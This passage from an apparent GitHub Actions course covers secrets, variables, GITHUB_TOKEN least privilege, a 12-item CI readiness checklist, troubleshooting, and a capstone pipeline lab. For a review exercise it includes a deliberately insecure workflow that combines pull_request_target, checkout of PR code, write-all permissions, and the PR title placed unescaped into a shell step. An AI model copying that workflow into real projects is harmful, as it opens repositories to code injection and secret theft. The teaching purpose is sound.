- job outputs containing secrets are discarded (the log says “Skip output … since it may contain secret”).
- Masking is only log protection, not access control: anyone who can modify a workflow can send a secret outside. The fundamental protection is controlling who can change workflows (branch protection, CODEOWNERS managing
.github/workflows/, environment approvals).
When: which level to place things at
| Content | Recommended location |
|---|---|
| production deployment credentials | environment secret (production, with approval); if OIDC is available, do not use a secret |
| tokens shared by multiple repositories (such as a notification webhook) | organization secret, with an access policy limited to selected repositories |
| default Python version, region, switches | variables (repository or organization) |
| access to other repositories | a GitHub App installation token (such as actions/create-github-app-token) is better than a PAT; if a PAT must be used, use a fine-grained PAT with an expiration date |
contents: write, and then writing at job level pull-requests: write stacks them”—job level overrides instead of merging, so contents becomes none in this case. ③ “Commits pushed with GITHUB_TOKEN trigger CI”—no (Module 2). ④ “An organization secret is usable by all repositories”—it depends on the access policy; repositories outside the private / selected scope read an empty string.How GITHUB_TOKEN's effective permissions are calculated
secret delivery path
Interactive calculator: will this operation get a 403?
Set the repository default token permission, the workflow / job permissions and the trigger event, then choose what the step should do. The calculator works out the effective permissions in the order of Figure 7-1 and predicts the API response.
gh to manage secrets and variables
| Command | Purpose |
|---|---|
gh secret set NAME | interactive input (not left in shell history); < file read from a file; --env production environment level; --org ORG --visibility selected --repos a,b organization level |
gh secret list [--env E] [--org O] | list names and update times (values cannot be seen) |
gh secret delete NAME | delete |
gh variable set NAME --body VALUE | set variables (also supports --env / --org) |
gh variable get NAME / list | read variables |
gh api repos/{owner}/{repo}/actions/permissions/workflow | view default token permission settings |
gh secret set DEMO_API_KEY # paste the value, then press Enter
gh variable set PYTHON_DEFAULT --body 3.13
gh secret list; gh variable list
gh api repos/{owner}/{repo}/actions/permissions/workflow
✓ Set Actions secret DEMO_API_KEY for your-name/myapp
✓ Created variable PYTHON_DEFAULT for your-name/myapp
NAME UPDATED
DEMO_API_KEY less than a minute ago
NAME VALUE UPDATED
PYTHON_DEFAULT 3.13 less than a minute ago
{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}
change the default token to read-only (older repositories)
gh api -X PUT repos/{owner}/{repo}/actions/permissions/workflow \
-f default_workflow_permissions=read -F can_approve_pull_request_reviews=false
use in a workflow
permissions:
contents: read # workflow level: minimal default
jobs:
comment:
if: github.event_name == 'pull_request'
runs-on: ubuntu-24.04
permissions: # job level: fully overrides; write out everything needed
contents: read
pull-requests: write
steps:
- env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # or ${{ github.token }}
API_KEY: ${{ secrets.DEMO_API_KEY }}
run: |
TMP_TOKEN="tmp-$(openssl rand -hex 8)"
echo "::add-mask::$TMP_TOKEN"
echo "temporary token: $TMP_TOKEN" # the log shows ***
test -n "$API_KEY" && echo "API_KEY provided" || echo "API_KEY is empty (fork PR?)"
gh pr comment ${{ github.event.pull_request.number }} --body "CI ran ✅"
Lab 7: tighten permissions, reproduce and fix a 403 (about 7 minutes)
gh api repos/{owner}/{repo}/actions/permissions/workflow -q .default_workflow_permissions
If the output is write, use the PUT request in the “Command” section to change it to read, or change it in Settings → Actions → General → Workflow permissions.
name: PR comment
on: pull_request
permissions:
contents: read
jobs:
comment:
runs-on: ubuntu-24.04
steps:
- env:
GH_TOKEN: ${{ github.token }}
PR: ${{ github.event.pull_request.number }}
run: gh pr comment "$PR" --repo "$GITHUB_REPOSITORY" --body "CI ran ✅"
git add .github/workflows/pr-comment.yml && git commit -m "ci: pr comment" && git push sleep 30; gh run view "$(gh run list --workflow pr-comment.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log-failed | tail -5
comment Run gh pr comment … GraphQL: Resource not accessible by integration (addComment) comment Run gh pr comment … ##[error]Process completed with exit code 1.
“Resource not accessible by integration” is the typical error when GITHUB_TOKEN (a GitHub App integration token) lacks permission. Next, look at Set up job: GITHUB_TOKEN Permissions: Contents: read, Metadata: read.
pull-requests: write:
jobs:
comment:
runs-on: ubuntu-24.04
permissions:
pull-requests: write
git commit -am "ci: grant pull-requests: write to comment job" && git push gh pr view --comments | tail -3
github-actions • 0m • Newest comment CI ran ✅
the comment author appears as github-actions[bot]. Note that this job does not write contents: read, so contents is none. It does not need checkout, so this is fine.
gh secret set DEMO_API_KEY (enter any test value, such as demo-123456), then add a step in expressions.yml:
- env:
API_KEY: ${{ secrets.DEMO_API_KEY }}
run: |
echo "print directly: $API_KEY"
echo "after base64: $(printf %s "$API_KEY" | base64)"
echo "::add-mask::$(printf %s "$API_KEY" | base64)"
echo "print after masking: $(printf %s "$API_KEY" | base64)"
print directly: *** after base64: ZGVtby0xMjM0NTY= print after masking: ***
This shows that “transformed values are not automatically masked”. After the lab, remove gh secret delete DEMO_API_KEY. Do not print secrets like this in real projects.
git rm delete it; merge the PR or keep it for the capstone lab.Case 1: read-write default token + a tampered third-party action
Problem: In March 2025, the tags of tj-actions/changed-files were repointed to a malicious commit (CVE-2025-30066), and the malicious code printed secrets from runner memory to the logs. In projects that used a read-write default token and were public repositories, the tokens in the logs were visible to anyone. Fix: change all repositories' default token to read-only; write minimal permissions in workflows; pin third-party actions by SHA; for affected repositories, rotate all secrets and audit the logs. Limitation: GITHUB_TOKEN expires after the job ends, but long-lived secrets must still be rotated.
Case 2: a job-level permissions override makes checkout fail
Problem: To let the release job create a release, it was given permissions: { contents: write }; another job added permissions: { packages: write } , and then checkout reported “Repository not found” (private repository). Fix: understand that job-level permissions fully override; in that job, write both contents: read and packages: write. Limitation: in public repositories, checkout may still succeed with contents: none (anonymous read is allowed), so the problem only surfaces in private repositories.
Case 3: organization secret is empty in a new repository
Problem: Deployments from a newly created repository kept reporting “authentication failed”; the log showed the secret as an empty string (no error was raised). Fix: the organization secret's access policy was “selected repositories” and did not include the new repository. Manage the access list in IaC instead, and validate that required secrets are non-empty at the start of the workflow, failing fast. Limitation: referencing a nonexistent secret does not raise an error; it just yields an empty string.
Common errors and fixes
HttpError: Resource not accessible by integration (HTTP 403)
Cause: GITHUB_TOKEN lacks the required permission; the token is read-only in fork PRs; the organization / enterprise locked default permissions to read-only; or the operation targets another repository (GITHUB_TOKEN is limited to the current repository).
gh run view RUN_ID --log | grep -A12 "GITHUB_TOKEN Permissions"
Fix: add the corresponding write scope at job level; for cross-repository operations, use a GitHub App token; for fork scenarios, switch to the workflow_run pattern.
remote: Permission to owner/myapp.git denied to github-actions[bot]. fatal: unable to access … The requested URL returned error: 403
Cause: pushing requires contents: write; the branch is protected by a ruleset, and GITHUB_TOKEN is not on the bypass list.
Fix: grant contents: write; or change to opening a PR for protected branches, or use a GitHub App that the ruleset allows to bypass.
Error: Input required and not supplied: token / secret value is empty
Cause: the secret name is misspelled, it is outside the environment's or organization's access policy, or the run is from a fork PR or Dependabot.
Fix:gh secret list verify; Dependabot needs its own Dependabot secrets set; explicitly check for non-empty values in steps.
Error: Could not get ID token for authentication / ACTIONS_ID_TOKEN_REQUEST_URL is not set
Cause: not granted id-token: write (or omitted after a job-level permissions override).
Fix: write permissions: { id-token: write, contents: read } in jobs that log in to the cloud (Lessons 3 / 4).
Skip output 'token' since it may contain secret.
Cause: a job output contains a secret value, which the runner discards.
Fix: do not pass secrets through outputs; the downstream job should read the secret itself or obtain a fresh temporary token.
1. Set a secret from a file that is used only by the production environment.
gh secret set DEPLOY_KEY --env production < deploy_key.pem
2. View the current repository's default GITHUB_TOKEN permissions and whether Actions is allowed to approve PRs.
gh api repos/{owner}/{repo}/actions/permissions/workflowAn audit found a workflow with permissions: write-all, the reason being “to avoid 403 every time”. It runs on pull_request and push , and uses 5 third-party actions. Please propose a remediation plan.
Risk: if any third-party action is tampered with or has a vulnerability, it can use the write-permission token to push code, modify releases, and change things beyond branch protection. Remediation: ① top-level workflow permissions: { contents: read }; ② add specific write only to the jobs that need it (for example, add pull-requests: write to the comment job); ③ pin third-party actions by SHA and review them periodically (Lesson 5); ④ change the repository default token to read-only; ⑤ verify each job's actual permissions using the Set up job log; ⑥ protect .github/workflows/ with CODEOWNERS.
Verified instructional videos
No verified dedicated video was found on GITHUB_TOKEN least privilege; refer to the official documentation.
Official documentation
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided for a video tool.
Visual: a three-layer safe (organization, repository, environment); a key with the same name is taken from the environment safe at the bottom.
Narration: secrets have three layers; when names collide, the most specific one, the environment level, wins. Use variables for configuration and secrets for credentials.
Visual: a pass that starts as “read-write” is stamped layer by layer and tightened to “read-only + PR write”.
Narration: GITHUB_TOKEN's permissions start from the default setting and are tightened layer by layer by the workflow and job permissions. Once you write one permission, the rest become none.
Visual: a fork PR knocks on the door; the doorman hands out only a read-only pass, and the safe stays locked.
Narration: code from a fork is untrusted, so it cannot get secrets, and its token is read-only at most.
Visual: in the logs, a password becomes three asterisks, but its base64 string is still visible until add-mask is applied.
Narration: masking only recognizes the exact string. Transformed values must be masked manually with add-mask, and it is best not to print them at all.
Module 8 · CI readiness review and common failures
- Review a workflow using the 12-item CI readiness checklist (triggers, permissions, timeouts, concurrency, caching, artifacts, pinned versions, safe inputs, required checks, etc.).
- Quickly locate 9 common types of failure by symptom: not triggering, invalid YAML, 403, cache misses, artifacts not found, timeouts, cancelled by concurrency, waiting for a runner, and required checks stuck at Expected.
- Turn on debug logging, re-run only failed jobs, and use a ruleset to set the summary check as a required PR check.
What: CI readiness review checklist (12 items)
| # | Check item | Why | Related module |
|---|---|---|---|
| 1 | Triggers on both PRs and the main branch; a paths filter does not make a required check go “missing” | a gate must report status reliably | M2 |
| 2 | top level permissions minimal (usually contents: read), with write permission only in the jobs that need it | reduces the blast radius of a tampered action or an injection | M7 |
| 3 | each job has timeout-minutes | prevents a hang from burning 6 hours | M3 |
| 4 | PR runs use concurrency + cancel-in-progress | saves minutes; only the latest commit's results matter | M5 |
| 5 | dependencies are cached, with keys that include the lock-file hash | fast and correct | M6 |
| 6 | test reports and build outputs are uploaded as artifacts, with retention-days set | traceable and cost-controlled | M6 |
| 7 | runners use a specific version (such as ubuntu-24.04) | avoid -latest surprises from migrations | M1 |
| 8 | third-party actions pinned to a version (ideally a SHA) | supply chain security | M1 / Lesson 5 |
| 9 | untrusted input passed through env run, and PR code is not executed with pull_request_target | prevents script injection and pwn requests | M2 / M4 |
| 10 | integration tests use service containers with health checks | avoids intermittent failures | M3 |
| 11 | a summary job with a stable name serves as the required check | matrix changes do not affect the ruleset | M5 / M8 |
| 12 | workflow files are protected by CODEOWNERS / rulesets | whoever can change workflows can get secrets | Lesson 1 / M7 |
Why: failure classification. First determine “which layer it happened in”
| Layer | Symptom | Typical causes | First step |
|---|---|---|---|
| Trigger layer | no record on the Actions page | path, YAML, filters, events from GITHUB_TOKEN,[skip ci], Actions disabled | check the error banner at the top of the Actions page,gh workflow list --all |
| Scheduling layer | Queued / Waiting for a runner | wrong labels, concurrency limit, minutes / budget exhausted, concurrency pending | gh run view --json jobs check labels and status |
| Set up layer | Set up job failed | Action version does not exist, private action not authorized, service container pull failed | expand Set up job / Initialize containers |
| Execution layer | a step is red | code / test failure, 403, cache miss causing a timeout, artifacts not found | gh run view --log-failed |
| Gate layer | all checks green but cannot merge / showing Expected | required check name mismatch, filtered out by paths, job skipped | compare the name in the ruleset with the PR check name |
How: debugging tools
- re-run only failed jobs:
gh run rerun RUN_ID --failed; a re-run uses the original run's commit and workflow file, so after changing a workflow you need a new push. - debug logs: when re-running, tick “Enable debug logging” (or
--debug); you can also set a repository secret or variableACTIONS_STEP_DEBUG=true(step debug logs) andACTIONS_RUNNER_DEBUG=true(runner diagnostic logs). - annotations and summaries:
::error file=app.py,line=10::msgannotate in the PR files view;$GITHUB_STEP_SUMMARYwrite a Markdown summary. - local pre-check: actionlint validates syntax and expressions; reproduce the runner environment in Docker (same
python:3.13version).
When: when to make a check required
once CI is stable (low false-positive rate, acceptable duration), add “Require status checks to pass” in the ruleset and select the summary job (such as ci-ok). Rulesets can be used on public repositories for personal Free accounts; enforcing rulesets on private repositories requires Pro / Team or higher (see Lesson 1).
if skip reports skipped and the ruleset treats it as passed; but a workflow filtered out by and never run at all— such a workflow reports no status, and the PR waits forever. ③ “ACTIONS_STEP_DEBUG can only be set with a secret”—now either a secret or a variable works.Failure localization flow
summary job as a stable required check
Interactive reviewer: score this workflow
Below is a workflow that “looks like it works”. Tick the checklist items you think it already meets, then click “Review” to see the standard answer, the score and suggestions; then click “Show corrected version” to compare.
name: CI
on: [push, pull_request_target]
permissions: write-all
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
python: [3.10, 3.13]
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: some-org/setup-env@main
- uses: actions/setup-python@v7
with: { python-version: ${{ matrix.python }} }
- run: pip install -r requirements-dev.txt
- run: echo "Testing ${{ github.event.pull_request.title }}"
- run: pytest
- uses: actions/upload-artifact@v7
with: { name: report, path: report.xml }
Troubleshooting commands at a glance
| Command | Purpose |
|---|---|
gh run list --status failure --limit 10 | most recent failed runs |
gh run view RUN_ID --log-failed | view only the failed step logs |
gh run view RUN_ID --json jobs -q '.jobs[] | {name,status,conclusion,labels}' | each job's status and runner labels |
gh run rerun RUN_ID --failed --debug | re-run only failed jobs with debug logging |
gh run cancel RUN_ID | cancel a run |
gh variable set ACTIONS_STEP_DEBUG --body true | enable step debug logging for all subsequent runs (remember to delete it after troubleshooting) |
gh pr checks --required | view only required checks |
gh api repos/{owner}/{repo}/rules/branches/main | view the rules in effect on main (including required checks) |
gh api repos/{owner}/{repo}/actions/workflows -q '.workflows[] | [.name,.path,.state] | @tsv' | whether the workflow is recognized and whether it is disabled |
gh run list --status failure --limit 3 gh run view "$(gh run list --status failure --limit 1 --json databaseId -q '.[0].databaseId')" --log-failed | tail -20 gh pr checks --required
STATUS TITLE WORKFLOW BRANCH EVENT ID … X ci: pr comment PR comment feat/hello pull_request 18234590001 … comment Run gh pr comment … GraphQL: Resource not accessible by integration (addComment) ci-ok pass 4s https://github.com/your-name/myapp/actions/runs/…
summary job (ci-ok)
ci-ok:
if: always()
needs: [lint, unit, integration, build-image]
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- name: check results of all dependency jobs
env:
RESULTS: ${{ join(needs.*.result, ' ') }}
run: |
echo "results: $RESULTS"
for r in $RESULTS; do
case "$r" in success|skipped) ;; *) echo "::error::a job result is $r"; exit 1;; esac
done
needs.*.result Use an object filter to extract the results of all dependency jobs. Whether to treat skipped as passing depends on your design: allow it if some jobs may legitimately be skipped by an if; otherwise accept only success.
Lab 8: summary check + set as a required check (about 7 minutes)
needs), push to the PR branch and confirm that CI / ci-ok check appears on the PR.{
"name": "main-ci-gate",
"target": "branch",
"enforcement": "active",
"conditions": { "ref_name": { "include": ["~DEFAULT_BRANCH"], "exclude": [] } },
"rules": [
{ "type": "pull_request",
"parameters": {
"required_approving_review_count": 0,
"dismiss_stale_reviews_on_push": false,
"require_code_owner_review": false,
"require_last_push_approval": false,
"required_review_thread_resolution": false } },
{ "type": "required_status_checks",
"parameters": {
"strict_required_status_checks_policy": false,
"required_status_checks": [ { "context": "ci-ok", "integration_id": 15368 } ] } }
]
}
gh api -X POST repos/{owner}/{repo}/rulesets --input ruleset-ci.json -q '{id, name, enforcement}'
gh api repos/{owner}/{repo}/rules/branches/main -q '.[] | .type'
{"enforcement":"active","id":4123456,"name":"main-ci-gate"}
pull_request
required_status_checks
You can also create it graphically under Settings → Rules → Rulesets. The check name must exactly match the job name shown on the PR (ci-ok). Setting the required approvals count to 0 is for solo practice; for team repositories, set it to at least 1 (Lesson 1).
/healthz to "okay"), then push:
sed -i 's/status="ok"/status="okay"/' app.py && git commit -am "test: break healthz" && git push gh pr checks --required --watch gh pr merge --squash
X ci-ok fail X Pull request your-name/myapp#7 is not mergeable: the base branch policy prohibits the merge.
Restore: git revert --no-edit HEAD && git push, wait for ci-ok to pass, then gh pr merge --squash --delete-branch.
Case 1: required check stuck at “Expected — Waiting for status to be reported”
Problem: a PR that only changes docs cannot be merged. Reason: CI has paths-ignore: ['**.md'], so the workflow did not run and the required check ci-ok never reports. Fix: remove the workflow-level paths filter and instead decide the changes inside the job (dorny/paths-filter v4.0.3); skip heavy steps with if; ci-ok always runs. Limitation: every PR consumes at least one lightweight run's worth of minutes.
Case 2: “fails only in CI, passes locally”
Problem: the tests depend on the local time zone and installed system fonts, so they fail on CI. Fix: print the environment in CI (python -VV,locale,TZ); use container: python:3.13-slim so that local and CI use the same image to reproduce; explicitly set the time zone in the tests. Limitation: the container has no tools preinstalled by the runner, so you must install them yourself.
Case 3: many workflows time out on Monday morning
Problem: after the weekly runner image update, pip dependency resolution got slower; plus caches not accessed for a week were evicted, so cold-start installation exceeded timeout-minutes. Fix: compare the image version in Set up job; confirm “Cache not found”; set a daily scheduled run on main to keep caches warm; lock dependencies to full versions to reduce resolution time. Limitation: caching is best-effort, so timeouts must account for cold-cache cases.
Quick reference for common failures
workflow doesn't trigger (no record at all on the Actions page)
check in order: the file is in .github/workflows/; YAML is valid; on includes that event and activity type; branches / paths / tags match; not triggered by GITHUB_TOKEN; the commit message does not contain [skip ci]; for workflow_dispatch / schedule / workflow_run, the file is on the default branch; the repository / organization allows Actions; the workflow is not disabled.
Invalid workflow file: .github/workflows/ci.yml#L12 — You have an error in your yaml syntax on line 12
Common: tab indentation, missing space after a colon,if: !…, unquoted * starting glob,${{ unclosed. Check locally with actionlint.
Resource not accessible by integration (403)
See Module 7: check GITHUB_TOKEN Permissions in Set up job and complete the permissions at job level; for fork PRs, use the workflow_run pattern.
Cache not found for input keys (always cold)
See Module 6: whether the key contains changing values, branch scope, a failed job that saved nothing, and the 7-day eviction.
Unable to download artifact(s): Artifact not found for name
See Module 6: needs dependencies, consistent names, cross-run downloads need run-id + token + actions: read, and expiry.
The job running on runner … has exceeded the maximum execution time of N minutes.
See Module 3: locate the last output step, add timeouts to network operations, and leave headroom for cold-cache scenarios.
Canceling since a higher priority waiting request for '…' exists
See Module 5: the concurrency group is too broad, or several workflows share a group name.
Interactive troubleshooting decision tree: common GitHub Actions failures
Covers ten symptom types: not triggering, YAML errors, queuing, Set up failures, 403, cache, artifacts, timeouts, cancellation, and required checks. Choose the symptom you see and localize it step by step.
1. For the most recent failed run, re-run only the failed jobs with debug logging enabled.
gh run rerun "$(gh run list --status failure --limit 1 --json databaseId -q '.[0].databaseId')" --failed --debug
2. View all rule types in effect on the main branch.
gh api repos/{owner}/{repo}/rules/branches/main -q '.[].type'You changed ci.yml to fix a bug, then clicked “Re-run failed jobs” on the failed run on the Actions page. It still fails, and the logs show the old command. Why?
A re-run uses the commit of the original run (and the workflow file within it) and its event payload; it does not pick up changes pushed later. Push a new commit (or push to the PR branch) so that the new run uses the fixed workflow. workflow_dispatch starts a new run again.
Verified instructional videos
Official documentation
- Enabling debug logging
- Re-running workflows and jobs
- Available rules for rulesets (Require status checks)
- Troubleshooting workflows
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided for a video tool.
Visual: a 12-item checklist, ticked one by one; a red cross flashes at the flawed item.
Narration: when reviewing a workflow, first look at three things: permissions, timeouts, and whether triggers are stable.
Visual: a failure layer diagram with five layers (trigger, scheduling, setup, execution, gate); an arrow points to the “no record” layer.
Narration: first decide which layer the problem is in. No run record means the trigger layer; stuck queuing means the scheduling layer.
Visual: the terminal runs gh run view --log-failed, and the red “Resource not accessible by integration” is enlarged.
Narration: when you look at the failed log and see a 403, check the actual token permissions in Set up job.
Visual: several checks flow into ci-ok; the ruleset locks the merge button, and when ci-ok turns green, the lock opens.
Narration: using one summary check as the required check turns CI into a true merge gate.
Command cheat sheet
Observing and debugging runs
gh workflow list --all
gh run list --workflow ci.yml --limit 10
gh run list --status failure --branch main
gh run watch RUN_ID --exit-status
gh run view RUN_ID --log-failed
gh run view RUN_ID --json jobs -q '.jobs[] | {name,conclusion,labels}'
gh run rerun RUN_ID --failed --debug
gh run cancel RUN_ID
gh pr checks --watch --requiredTriggers
gh workflow run ci.yml --ref main -f dry_run=false
gh workflow enable nightly.yml
gh api repos/{owner}/{repo}/dispatches \
-f event_type=cms-updated -F 'client_payload[page]=home'
git commit -m "docs: typo [skip ci]" # skip push / PR runssecrets / variables / permissions
gh secret set NAME # interactive input
gh secret set NAME --env production < file
gh secret set NAME --org ORG --visibility selected --repos myapp
gh secret list; gh secret delete NAME
gh variable set NAME --body VALUE
gh api repos/{owner}/{repo}/actions/permissions/workflow
gh api -X PUT repos/{owner}/{repo}/actions/permissions/workflow \
-f default_workflow_permissions=readCaching and artifacts
gh cache list --sort last_accessed_at
gh cache delete KEY ; gh cache delete --all
gh api repos/{owner}/{repo}/actions/cache/usage
gh run download RUN_ID -n wheel -D dist
gh run download RUN_ID -p 'pytest-report-*' -D reports
gh api repos/{owner}/{repo}/actions/artifacts \
-q '.artifacts[] | [.name,.size_in_bytes,.expires_at] | @tsv'workflow syntax skeleton
name: CI
run-name: "CI · ${{ github.event_name }} · ${{ github.ref_name }}"
on:
push: { branches: [main], tags: ['v*'] }
pull_request: { branches: [main] }
workflow_dispatch:
inputs: { dry_run: { type: boolean, default: true } }
schedule: [ { cron: '17 6 * * *', timezone: "America/Toronto" } ]
permissions: { contents: read }
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
defaults: { run: { shell: bash } }
jobs:
test:
runs-on: ${{ matrix.os }}
timeout-minutes: 15
strategy:
fail-fast: false
matrix: { os: [ubuntu-24.04], python: ["3.12", "3.13", "3.14"] }
services:
redis: { image: "redis:8", ports: ['6379:6379'], options: '--health-cmd "redis-cli ping" --health-interval 5s --health-retries 10' }
env: { REDIS_HOST: localhost }
outputs: { ver: "${{ steps.v.outputs.ver }}" }
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "${{ matrix.python }}", cache: pip }
- id: v
run: echo "ver=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
- run: pip install -r requirements-dev.txt && pytest --junitxml=report.xml
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with: { name: "report-${{ matrix.python }}", path: report.xml, retention-days: 7 }
Expressions quick reference
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
if: startsWith(github.ref, 'refs/tags/v')
if: ${{ !cancelled() }} # upload reports
if: failure() # failure notification
if: always() # cleanup that must run
if: contains(github.event.pull_request.labels.*.name, 'e2e')
env: { TARGET: "${{ github.ref == 'refs/heads/main' && 'prod' || 'dev' }}" }
matrix: ${{ fromJSON(needs.plan.outputs.matrix) }}
key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
env: { TITLE: "${{ github.event.pull_request.title }}" } # untrusted input goes through envEnvironment files and workflow commands
echo "name=value" >> "$GITHUB_OUTPUT" # step output echo "VAR=value" >> "$GITHUB_ENV" # environment variable for later steps echo "$HOME/.local/bin" >> "$GITHUB_PATH" # append to PATH echo "## Summary" >> "$GITHUB_STEP_SUMMARY" # run summary echo "::add-mask::$TOKEN" # mask echo "::error file=app.py,line=3::msg" # annotation echo "::group::Install dependencies" ; … ; echo "::endgroup::"
Key numbers (verified 2026-11)
| Item | Value |
|---|---|
| job default timeout | 360 minutes; hosted runners cap each job at 6 hours; self-hosted at 5 days |
| matrix limit | up to 256 jobs per run |
| job outputs | each job up to 1 MB; 50 MB total per run |
| cache | 10 GB per repository by default; deleted after 7 days without access; uploads 200 per minute, downloads 1,500 per minute (per repository) |
| artifact retention | 90 days by default; public 1–90 days and private 1–400 days can be set |
| schedule | minimum 5 minutes; UTC by default, timezone can be set; public repositories are automatically disabled after 60 days with no activity |
| concurrency queue: max | up to 100 pending; cannot be used with cancel-in-progress: true |
| repository_dispatch | client_payload up to 10 top-level properties and 65,535 characters |
| hosted runner queue | discarded if no runner picks it up within 45 minutes |
Capstone lab + final quiz
myapp under your personal account.cd ~/myapp && git switch main && git pull --ff-only
git switch -c ci/full-pipeline
ls app.py tests/ requirements*.txt pyproject.toml Dockerfile
gh api repos/{owner}/{repo}/actions/permissions/workflow -q .default_workflow_permissions # expected: readname: CI
run-name: "CI · ${{ github.event_name }} · ${{ github.head_ref || github.ref_name }}"
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_dispatch:
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
defaults:
run:
shell: bash
jobs:
lint:
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: "3.13"
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: ruff check --output-format=github .
test:
name: test (py${{ matrix.python }})
needs: lint
runs-on: ubuntu-24.04
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
python: ["3.12", "3.13", "3.14"]
services:
redis:
image: redis:8
ports: ['6379:6379']
options: >-
--health-cmd "redis-cli ping"
--health-interval 5s --health-timeout 3s --health-retries 10
env:
REDIS_HOST: localhost
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python }}
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: pytest -v --junitxml=report-${{ matrix.python }}.xml
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with:
name: pytest-report-${{ matrix.python }}
path: report-${{ matrix.python }}.xml
retention-days: 7
if-no-files-found: error
build:
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install build && python -m build --wheel
- uses: actions/upload-artifact@v7
with:
name: wheel
path: dist/*.whl
retention-days: 7
if-no-files-found: error
- name: Build image and smoke test
run: |
docker build -t myapp:${GITHUB_SHA::7} .
docker run -d --name app -p 5000:5000 myapp:${GITHUB_SHA::7}
for i in $(seq 1 20); do curl -fsS localhost:5000/healthz && exit 0; sleep 1; done
docker logs app; exit 1
report:
if: ${{ !cancelled() && github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository }}
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 5
permissions:
pull-requests: write
steps:
- uses: actions/download-artifact@v8
with:
pattern: pytest-report-*
path: reports
merge-multiple: true
- env:
GH_TOKEN: ${{ github.token }}
PR: ${{ github.event.pull_request.number }}
RESULT: ${{ needs.test.result }}
run: |
N=$(grep -ho 'tests="[0-9]*"' reports/*.xml | head -3 | tr '\n' ' ')
gh pr comment "$PR" --repo "$GITHUB_REPOSITORY" --edit-last --create-if-none \
--body "CI test result: $RESULT · $N · run $GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"
ci-ok:
if: always()
needs: [lint, test, build]
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- env:
RESULTS: ${{ join(needs.*.result, ' ') }}
run: |
echo "results: $RESULTS"
for r in $RESULTS; do [ "$r" = "success" ] || { echo "::error::a job has result $r"; exit 1; }; done
Design highlights: read-only at the top level,report a job separately gets pull-requests: write, and it runs only on same-repository PRs (fork PR tokens are read-only, so comments would get a 403); ci-ok accepts only success, and is the only required check. gh pr comment --edit-last --create-if-none Needs a recent gh (bundled with the runner image); if it reports an unknown argument, remove these two arguments.
git add -A && git commit -m "ci: full pipeline (matrix, redis, cache, artifacts, least privilege)" git push -u origin ci/full-pipeline gh pr create --fill gh pr checks --watch
✓ CI/lint (pull_request) 12s ✓ CI/test (py3.12) (pull_request) 31s ✓ CI/test (py3.13) (pull_request) 29s ✓ CI/test (py3.14) (pull_request) 33s ✓ CI/report (pull_request) 8s ✓ CI/build (pull_request) 52s ✓ CI/ci-ok (pull_request) 3s
RUN_ID=$(gh run list --branch ci/full-pipeline --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')
gh run view "$RUN_ID" --log | grep -E "GITHUB_TOKEN Permissions" -A4 | head -12 # test: Contents read; report: PullRequests write
gh api repos/{owner}/{repo}/actions/runs/$RUN_ID/artifacts -q '.artifacts[] | [.name,.expires_at] | @tsv'
git commit --allow-empty -m "ci: rerun 1" && git push; git commit --allow-empty -m "ci: rerun 2" && git push
sleep 20; gh run list --branch ci/full-pipeline --workflow ci.yml --limit 3 # rerun 1 should be cancelled
gh run view "$(gh run list --branch ci/full-pipeline --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -c "Cache restored"main-ci-gate, with the required check being ci-ok (integration_id 15368). Then verify:
gh api repos/{owner}/{repo}/rules/branches/main -q '.[] | select(.type=="required_status_checks") | .parameters.required_status_checks'
git switch main && echo x >> README.md && git commit -am "direct push" && git push # should be rejected
git reset --hard origin/main && git switch ci/full-pipeline
[{"context":"ci-ok","integration_id":15368}]
remote: error: GH013: Repository rule violations found for refs/heads/main.
remote: - Changes must be made through a pull request.
remote: - Required status check "ci-ok" is expected.redis); ② delete the permissions of the report job (observe the 403); ③ write the upload path wrongly (observe if-no-files-found: error). After each fix, confirm that ci-ok turns green again.gh pr merge --squash --delete-branch. After merging, one full CI run happens on main (a push event, which is not cancelled), generating the default-branch cache. The practice files explore.yml and expressions.yml can be deleted; gh secret list confirm that no test secrets are left behind; the ruleset can be kept for Lesson 3. No cloud resources were created in this lesson, so there are no cloud costs; standard runner minutes on public repositories are free.Open-ended self-test (answer first yourself, then expand the reference answer)
1. From git push to the green check on the PR, what stages does it go through? How does the runner get the job?
